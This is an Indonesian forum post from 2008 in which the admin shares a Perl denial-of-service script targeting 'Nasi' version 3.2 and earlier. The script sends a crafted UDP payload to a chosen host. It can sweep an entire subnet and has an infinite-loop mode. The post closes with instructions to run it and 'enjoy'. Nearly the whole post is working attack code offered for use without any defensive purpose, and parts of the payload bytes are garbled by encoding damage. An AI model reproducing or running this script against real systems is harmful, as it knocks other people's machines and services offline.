Forum Komunitas

Forum bebas Buat Semua Kalangan
 
IndeksPortalCalendarFAQPencarianAnggotaGroupPendaftaranLogin
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
SEO
CamelPark SEO tools - Google PageRank

Share | 
 

 DDos NetWorking [LAN]

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
Admin
ADMIN
ADMIN
avatar

Male
Jumlah posting : 82
Age : 24
Lokasi : http://forumku.big-forum.net
Job/hobbies : Mengadmin Forum
Registration date : 29.06.08

PostSubyek: DDos NetWorking [LAN]   Thu Jul 03, 2008 11:37 pm

Code:
#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1)
{
print “\n”;
print ” \/[DoS for All Nassi <= 3.2 build 2260]===[v0.1]=====\\\n”;
print ” \| ___ ___ ___ ___ ___ \|\n”;
print ” \| N /s/ T N /s/ T N /s/ T N /s/ T N /s/ T \|\n”;
print ” \| — — — — — \|\n”;
print ” \| \|\n”;
print ” \| Tested on: Nasi 3.2 build 2260 www.gracebyte.com \|\n”;
print ” \| \|\n”;
print ” \| Usage: nasidos.pl [port] [-i] \|\n”;
print ” \| \|\n”;
print ” \| Example: nasidos.pl 127.0.0.1 \|\n”;
print ” \| nasidos.pl 127.0.0.1 12345 \|\n”;
print ” \| nasidos.pl 192.168.102.* \|\n”;
print ” \| nasidos.pl 192.168.102.1 -i \|\n”;
print ” \| \|\n”;
print ” \| Keys: -i - Infinite DoS. Use ctrl+c for stop it. \|\n”;
print ” \| * - All in subnet. \|\n”;
print ” \| \|\n”;
print ” \| Info: If still don’t work try to scan victem on \|\n”;
print ” \| open UDP ports. Maby use not default port \|\n”;
print ” \| for Nasi. \|\n”;
print ” \\==================================================\/\n”;
exit(0);
}

$flag = 0; # Default flag for symple DoS

$ip = $ARGV[0];

if ($ARGV[1] =~ /[0-9]/)
{
$port = $ARGV[1];
print “\n [*] - We use $ARGV[1] UDP port for Nasi \n”;
}
else
{
$port = 50138;
print “\n [*] - We use 50138 (default) UDP port for Nasi \n”;
}

if ($ARGV[2] =~ /^\-i/ || $ARGV[1] =~ /^\-i/ )
{
print ” [*] - Start infinity DoS to $ARGV[0] on port $port\n”;
}

$i = 0;

do

{

($a,$b,$c,$d) = split(/\./,$ip);

if($ARGV[1] =~ /^\-i/ || $ARGV[2] =~ /^\-i/)
{
$i = $i + 1;
$d = $i;
$flag = 2;

}

if($ip =~ /\*/ && ($ARGV[1] !~ /^\-i/ || $ARGV[2] !~ /^\-i/))
{
$i = $i + 1;
$d = $i;
$flag = 1;

}

if($ip =~ /\*/ && ($ARGV[1] =~ /^\-i/ || $ARGV[2] =~ /^\-i/))
{
$i = $i + 1;
$d = $i;
$flag = 2;
}

print ” [*] - Try connect to ” . $a . “\.” . $b . “\.” . $c . “\.” . $d . ” on port $port\n”;

$remote = IO::Socket::INET->new( Proto => “udp”,
PeerAddr => $a . “\.” . $b . “\.” . $c . “\.” . $d,
PeerPort => $port) or die “\n [-] - Can’t connect to ” . $a . “\.” . $b . “\.” . $c . “\.” . $d . ” on port $port \n”;
$remote->autoflush(1);
$insock = “0  E O?a }a??2? ???? ;K?3 AB??LLยถ?ยฎโ€ก??โ€ฆ?f,s5โ€ข??ยฐ?S ?e??B?ยซ adcJ?โ€œ?s???;” . a x 218;

print $remote “$insock”; # Put magic into port

close $remote;

print ” [+] - DoS on ” . $a . “\.” . $b . “\.” . $c . “\.” . $d . ” complited!!!\n\n”; # Display small info

if ($flag == 1 && $i > 254)
{
$flag=0;
}

if ($i > 254)
{
$i = $d = 0;
}

} until ($flag == 0)

Quote :
Note :
U must Install perl in Windows, Copy script save for ext.PL in directory Perl, RunnIng, enjoy and Stay

_________________


Salam Kenal,
Saya Admin numpang ngepost.


Kembali Ke Atas Go down
Lihat profil user http://forumku.big-forum.net
 
DDos NetWorking [LAN]
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
Forum Komunitas :: HOBBY :: Komputer :: Teknologi-
Navigasi: